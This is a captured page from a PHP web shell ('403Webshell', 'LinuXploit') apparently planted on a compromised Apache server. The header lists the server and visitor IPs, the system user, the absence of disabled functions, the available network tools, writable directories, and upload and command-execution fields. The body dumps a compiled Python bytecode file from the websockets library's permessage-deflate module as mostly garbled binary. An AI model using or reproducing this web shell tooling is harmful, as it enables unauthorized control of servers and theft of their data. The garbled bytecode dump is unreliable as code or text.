403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/websockets/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/websockets/extensions/__pycache__/permessage_deflate.cpython-311.pyc
�

�=Xc�`��&�ddlmZddlZddlZddlmZmZmZmZm	Z	m
Z
mZddlm
Z
mZddlmZmZddlmZmZmZgd	�Zd
Zd�edd
��D��ZGd�de��Zd*d�Zd+d�ZGd�d e��Zd,d$�ZGd%�d&e��Zd-d)�ZdS).�)�annotationsN)�Any�Dict�List�Optional�Sequence�Tuple�Union�)�
exceptions�frames)�
ExtensionName�ExtensionParameter�)�ClientExtensionFactory�	Extension�ServerExtensionFactory)�PerMessageDeflate�ClientPerMessageDeflateFactory� enable_client_permessage_deflate�ServerPerMessageDeflateFactory� enable_server_permessage_deflates��c�,�g|]}t|����S�)�str)�.0�bitss  �J/usr/lib/python3/dist-packages/websockets/extensions/permessage_deflate.py�
<listcomp>rs��>�>�>��3�t�9�9�>�>�>���c�R�eZdZdZed��Z	ddd�Zdd�Zdd�dd�Zdd�Z	dS)rz)
    Per-Message Deflate extension.

    �permessage-deflateN�remote_no_context_takeover�bool�local_no_context_takeover�remote_max_window_bits�int�local_max_window_bits�compress_settings�Optional[Dict[Any, Any]]�return�Nonec�l�|�i}|dvsJ�|dvsJ�d|cxkrdksnJ�d|cxkrdksnJ�d|vsJ�||_||_||_||_||_|js tj|j���|_|js#tjdd|ji|j��|_	d|_
dS)	z?
        Configure the Per-Message Deflate extension.

        N)FTr!��wbits�r1Fr)r%r'r(r*r+�zlib�
decompressobj�decoder�compressobj�encoder�decode_cont_data)�selfr%r'r(r*r+s      r�__init__zPerMessageDeflate.__init__!s,���$� "��)�]�:�:�:�:�(�M�9�9�9�9��*�0�0�0�0�b�0�0�0�0�0�0��)�/�/�/�/�R�/�/�/�/�/�/��/�/�/�/�/�*D��'�)B��&�&<��#�%:��"�!2����.�	R��-�T�5P�4P�Q�Q�Q�D�L��-�	��+����1�1��59�5K���D�L�!&����r rc	�H�d|j�d|j�d|j�d|j�d�	S)Nz-PerMessageDeflate(remote_no_context_takeover=z, local_no_context_takeover=z, remote_max_window_bits=z, local_max_window_bits=�))r%r'r(r*�r9s r�__repr__zPerMessageDeflate.__repr__Js_��
C�*.�*I�
C�
C�)-�)G�
C�
C�'+�&A�
C�
C�&*�%?�	
C�
C�
C�	
r )�max_size�frame�frames.Framer?�
Optional[int]c��|jtjvr|S|jtjur|js|S|jrd|_nT|js|Stj|d���}|jsd|_|j	r tj|j���|_
|j}|jr
|tz
}|�dn|}	|j
�||��}n,#tj$r}t%jd��|�d}~wwxYw|j
jrt%jd|�d	����|jr	|j	r|`
tj||�
��S)z,
        Decode an incoming frame.

        F��rsv1Tr2Nrzdecompression failedzover size limit (? > z bytes)��data)�opcoder
�CTRL_OPCODES�OP_CONTr8�finrE�dataclasses�replacer%r3r4r(r5rG�_EMPTY_UNCOMPRESSED_BLOCK�
decompress�errorr�
ProtocolError�unconsumed_tail�
PayloadTooBig)r9r@r?rG�
max_length�excs      r�decodezPerMessageDeflate.decodeSs����<�6�.�.�.��L�
�<�6�>�)�)��(�
����y�
.�(-��%���:�
����'��E�:�:�:�E��9�
-�(,��%��.�
V�#�1��9T�8T�U�U�U���
�z���9�	.��-�-�D�"�*�Q�Q��
�	L��<�*�*�4��<�<�D�D���z�	L�	L�	L��*�+A�B�B��K�����	L�����<�'�	V��*�+T�8�+T�+T�+T�U�U�U��9�	��8�	����"�5�t�4�4�4�4s�4C�C9�C4�4C9c��|jtjvr|S|jtjur@t	j|d���}|jr#tjdd|j	i|j
��|_|j�|j
��|j�tj��z}|jr$|�t$��r
|dd�}|jr	|jr|`t	j||���S)z,
        Encode an outgoing frame.

        TrDr1N���rFr)rHr
rIrJrLrMr'r3r6r*r+r7�compressrG�flush�Z_SYNC_FLUSHrK�endswithrN)r9r@rGs   r�encodezPerMessageDeflate.encode�s	���<�6�.�.�.��L�
�<�v�~�-�-��'��D�9�9�9�E��-�
�#�/� � ��5�5� �9=�9O� � ���
�|�$�$�U�Z�0�0�4�<�3E�3E�d�FW�3X�3X�X���9�	����'@�A�A�	�����9�D��9�	��7�	����"�5�t�4�4�4�4r �N)r%r&r'r&r(r)r*r)r+r,r-r.)r-r)r@rAr?rBr-rA)r@rAr-rA)
�__name__�
__module__�__qualname__�__doc__r�namer:r>rVr]rr rrrs���������
�=�-�.�.�D�7;�
%&�%&�%&�%&�%&�R
�
�
�
�#'�	85�85�85�85�85�85�t5�5�5�5�5�5r r�server_no_context_takeoverr&�client_no_context_takeover�server_max_window_bitsrB�client_max_window_bits�Optional[Union[int, bool]]r-�List[ExtensionParameter]c�2�g}|r|�d��|r|�d��|r$|�dt|��f��|dur|�d��n&|r$|�dt|��f��|S)zS
    Build a list of ``(name, value)`` pairs for some compression parameters.

    )rdN)reNrfT)rgNrg)�appendr)rdrerfrg�paramss     r�_build_parametersrm�s���(*�F�!�<��
�
�:�;�;�;�!�<��
�
�:�;�;�;��O��
�
�/��5K�1L�1L�M�N�N�N���%�%��
�
�6�7�7�7�7�	�O��
�
�/��5K�1L�1L�M�N�N�N��Mr rl�Sequence[ExtensionParameter]�	is_server�<Tuple[bool, bool, Optional[int], Optional[Union[int, bool]]]c�d�d}d}d}d}|D�]\}}|dkr0|rtj|���|�d}�'tj||���|dkr0|rtj|���|�d}�]tj||���|dkrD|�tj|���|tvrt	|��}��tj||���|dkrK|�tj|���|r|�d}��|tvrt	|��}��tj||���tj|���||||fS)z�
    Extract compression parameters from a list of ``(name, value)`` pairs.

    If ``is_server`` is :obj:`True`, ``client_max_window_bits`` may be
    provided without a value. This is only allowed in handshake requests.

    FNrdTrerfrg)r�DuplicateParameter�InvalidParameterValue�_MAX_WINDOW_BITS_VALUESr)�InvalidParameterName)rlrordrerfrgrc�values        r�_extract_parametersrw�s���(-��',��,0��9=���%8�%8���e��/�/�/�)�
:� �3�D�9�9�9��}�-1�*�*� �6�t�U�C�C�C�
�1�
1�
1�)�
:� �3�D�9�9�9��}�-1�*�*� �6�t�U�C�C�C�
�-�
-�
-�%�1� �3�D�9�9�9��/�/�/�),�U���&�&� �6�t�U�C�C�C�
�-�
-�
-�%�1� �3�D�9�9�9��
D�U�]�)-�&�&��1�1�1�),�U���&�&� �6�t�U�C�C�C��1�$�7�7�7�	#�"���	�r c�L�eZdZdZed��Z					ddd�Zdd�Zdd�ZdS)ra�
    Client-side extension factory for the Per-Message Deflate extension.

    Parameters behave as described in `section 7.1 of RFC 7692`_.

    .. _section 7.1 of RFC 7692: https://www.rfc-editor.org/rfc/rfc7692.html#section-7.1

    Set them to :obj:`True` to include them in the negotiation offer without a
    value or to an integer value to include them with this value.

    Args:
        server_no_context_takeover: prevent server from using context takeover.
        client_no_context_takeover: prevent client from using context takeover.
        server_max_window_bits: maximum size of the server's LZ77 sliding window
            in bits, between 8 and 15.
        client_max_window_bits: maximum size of the client's LZ77 sliding window
            in bits, between 8 and 15, or :obj:`True` to indicate support without
            setting a limit.
        compress_settings: additional keyword arguments for :func:`zlib.compressobj`,
            excluding ``wbits``.

    r$FNTrdr&rerfrBrgrhr+�Optional[Dict[str, Any]]r-r.c��|�d|cxkrdksntd���|�"|dusd|cxkrdksntd���|�d|vrtd���||_||_||_||_||_dS)	�G
        Configure the Per-Message Deflate extension factory.

        Nr!r0�/server_max_window_bits must be between 8 and 15T�/client_max_window_bits must be between 8 and 15r1zLcompress_settings must not include wbits, set client_max_window_bits instead)�
ValueErrorrdrerfrgr+)r9rdrerfrgr+s      rr:z'ClientPerMessageDeflateFactory.__init__s���'�.�!�7M�2S�2S�2S�2S�QS�2S�2S�2S�2S��N�O�O�O�"�*�%��-�-��*�0�0�0�0�b�0�0�0�0��N�O�O�O��(�W�8I�-I�-I��5���
�
+E��'�*D��'�&<��#�&<��#�!2����r ric�N�t|j|j|j|j��S)z,
        Build request parameters.

        )rmrdrerfrgr=s r�get_request_paramsz1ClientPerMessageDeflateFactory.get_request_params>s.��
!��+��+��'��'�	
�
�	
r rlrn�accepted_extensions�Sequence[Extension]rc�B��t�fd�|D����rtjd�j�����t	|d���\}}}}�jr|stjd����jr|sd}�j�n5|�tjd���|�jkrtjd	����j�|�tjd
���n3�jdurn)|��j}n|�jkrtjd���t|||pd|pd�j
��S)
zV
        Process response parameters.

        Return an extension instance.

        c3�8�K�|]}|j�jkV��dSr^�rc�r�otherr9s  �r�	<genexpr>zIClientPerMessageDeflateFactory.process_response_params.<locals>.<genexpr>U�,�����H�H�5�u�z�T�Y�&�H�H�H�H�H�Hr zreceived duplicate F�roz#expected server_no_context_takeoverTNzexpected server_max_window_bitsz"unsupported server_max_window_bitsz!unexpected client_max_window_bitsz"unsupported client_max_window_bitsr0)�anyr�NegotiationErrorrcrwrdrerfrgrr+�r9rlr�rdrerfrgs`      r�process_response_paramsz6ClientPerMessageDeflateFactory.process_response_paramsJs�����H�H�H�H�4G�H�H�H�H�H�	Q��-�.O�D�I�.O�.O�P�P�P�
 ��%�8�8�8�	
�&�&�"�"��*�	Y�-�
Y� �1�2W�X�X�X��*�	2�-�
2�-1�*��&�.��&�-� �1�2S�T�T�T�'�$�*E�E�E� �1�2V�W�W�W��&�.�%�1� �1�2U�V�V�V�2��
(�D�
0�
0��&�-�)-�)D�&�&�'�$�*E�E�E� �1�2V�W�W�W� �&�&�"�(�b�"�(�b��"�
�
�	
r )FFNTN)rdr&rer&rfrBrgrhr+ryr-r.)r-ri)rlrnr�r�r-r)	r_r`rarbrrcr:r�r�rr rrrs���������.�=�-�.�.�D�,1�+0�04�=A�6:�
3�3�3�3�3�@

�

�

�

�g
�g
�g
�g
�g
�g
r r�
extensions�*Optional[Sequence[ClientExtensionFactory]]� Sequence[ClientExtensionFactory]c��|�g}td�|D����s#t|��tddi���gz}|S)z�
    Enable Per-Message Deflate with default settings in client extensions.

    If the extension is already present, perhaps with non-default settings,
    the configuration isn't changed.

    Nc3�@K�|]}|jtjkV��dSr^)rcr)r�extension_factorys  rr�z3enable_client_permessage_deflate.<locals>.<genexpr>�sB�������	��"@�"E�E������r �memLevel�)r+)r��listr�r�s rrr�sw�����
����!+������
��*�%�%�*�#-�q�/�
�
�
�)
�
�
�
�r c�F�eZdZdZed��Z						ddd�Zdd�ZdS)ra�
    Server-side extension factory for the Per-Message Deflate extension.

    Parameters behave as described in `section 7.1 of RFC 7692`_.

    .. _section 7.1 of RFC 7692: https://www.rfc-editor.org/rfc/rfc7692.html#section-7.1

    Set them to :obj:`True` to include them in the negotiation offer without a
    value or to an integer value to include them with this value.

    Args:
        server_no_context_takeover: prevent server from using context takeover.
        client_no_context_takeover: prevent client from using context takeover.
        server_max_window_bits: maximum size of the server's LZ77 sliding window
            in bits, between 8 and 15.
        client_max_window_bits: maximum size of the client's LZ77 sliding window
            in bits, between 8 and 15.
        compress_settings: additional keyword arguments for :func:`zlib.compressobj`,
            excluding ``wbits``.
        require_client_max_window_bits: do not enable compression at all if
            client doesn't advertise support for ``client_max_window_bits``;
            the default behavior is to enable compression without enforcing
            ``client_max_window_bits``.

    r$FNrdr&rerfrBrgr+ry�require_client_max_window_bitsr-r.c�*�|�d|cxkrdksntd���|�d|cxkrdksntd���|�d|vrtd���|�|rtd���||_||_||_||_||_||_dS)	r{Nr!r0r|r}r1zLcompress_settings must not include wbits, set server_max_window_bits insteadzVrequire_client_max_window_bits is enabled, but client_max_window_bits isn't configured)r~rdrerfrgr+r�)r9rdrerfrgr+r�s       rr:z'ServerPerMessageDeflateFactory.__init__�s���'�.�!�7M�2S�2S�2S�2S�QS�2S�2S�2S�2S��N�O�O�O�&�.�!�7M�2S�2S�2S�2S�QS�2S�2S�2S�2S��N�O�O�O��(�W�8I�-I�-I��5���
�"�)�.L�)��>���
�
+E��'�*D��'�&<��#�&<��#�!2���.L��+�+�+r rlrnr�r��2Tuple[List[ExtensionParameter], PerMessageDeflate]c���t�fd�|D����rtjd�j�����t	|d���\}}}}�jr|sd}�jr|sd}�j�n|��j}n|�jkr�j}�j�|dur�j}n<|��j	rtjd���n|dur�j}n�j|kr�j}t||||��t|||pd|pd�j��fS)zi
        Process request parameters.

        Return response params and an extension instance.

        c3�8�K�|]}|j�jkV��dSr^r�r�s  �rr�zHServerPerMessageDeflateFactory.process_request_params.<locals>.<genexpr>r�r zskipped duplicate Tr�Nzrequired client_max_window_bitsr0)
r�rr�rcrwrdrerfrgr�rmrr+r�s`      r�process_request_paramsz5ServerPerMessageDeflateFactory.process_request_paramss�����H�H�H�H�4G�H�H�H�H�H�	P��-�.N�4�9�.N�.N�O�O�O�
 ��$�7�7�7�	
�&�&�"�"�"�*�	2�-�
2�-1�*��*�	2�-�
2�-1�*��&�.��&�-�)-�)D�&�&�'�$�*E�E�E�)-�)D�&��&�.�%��-�-�)-�)D�&��&�-��6�Y�$�5�6W�X�X�X�Y�'�4�/�/�)-�)D�&�&��,�/E�E�E�)-�)D�&�
�*�*�&�&�	
�
�
�*�*�&�,�"�&�,�"��&�
�
�
�	
r )FFNNNF)rdr&rer&rfrBrgrBr+ryr�r&r-r.)rlrnr�r�r-r�)r_r`rarbrrcr:r�rr rrr�s}��������4�=�-�.�.�D�,1�+0�04�04�6:�/4�!M�!M�!M�!M�!M�Fo
�o
�o
�o
�o
�o
r r�*Optional[Sequence[ServerExtensionFactory]]� Sequence[ServerExtensionFactory]c��|�g}td�|D����s%t|��tddddi���gz}|S)z�
    Enable Per-Message Deflate with default settings in server extensions.

    If the extension is already present, perhaps with non-default settings,
    the configuration isn't changed.

    Nc3�@K�|]}|jtjkV��dSr^)rcr)r�ext_factorys  rr�z3enable_server_permessage_deflate.<locals>.<genexpr>�sB�������	��:�?�?������r �r�r�)rfrgr+)r�r�rr�s rrr~s}�����
����%������

��*�%�%�*�')�')�#-�q�/�
�
�
�)
�
�
��r )
rdr&rer&rfrBrgrhr-ri)rlrnror&r-rp)r�r�r-r�)r�r�r-r�) �
__future__rrLr3�typingrrrrrr	r
�rr
rr�baserrr�__all__rN�rangertrrmrwrrrrrr r�<module>r�s���"�"�"�"�"�"���������D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�!�!�!�!�!�!�!�!�6�6�6�6�6�6�6�6�K�K�K�K�K�K�K�K�K�K�����0��>�>���q�"���>�>�>��R5�R5�R5�R5�R5�	�R5�R5�R5�j����0;�;�;�;�|m
�m
�m
�m
�m
�%;�m
�m
�m
�`����0o
�o
�o
�o
�o
�%;�o
�o
�o
�d�����r 

Youez - 2016 - github.com/yon3zu
LinuXploit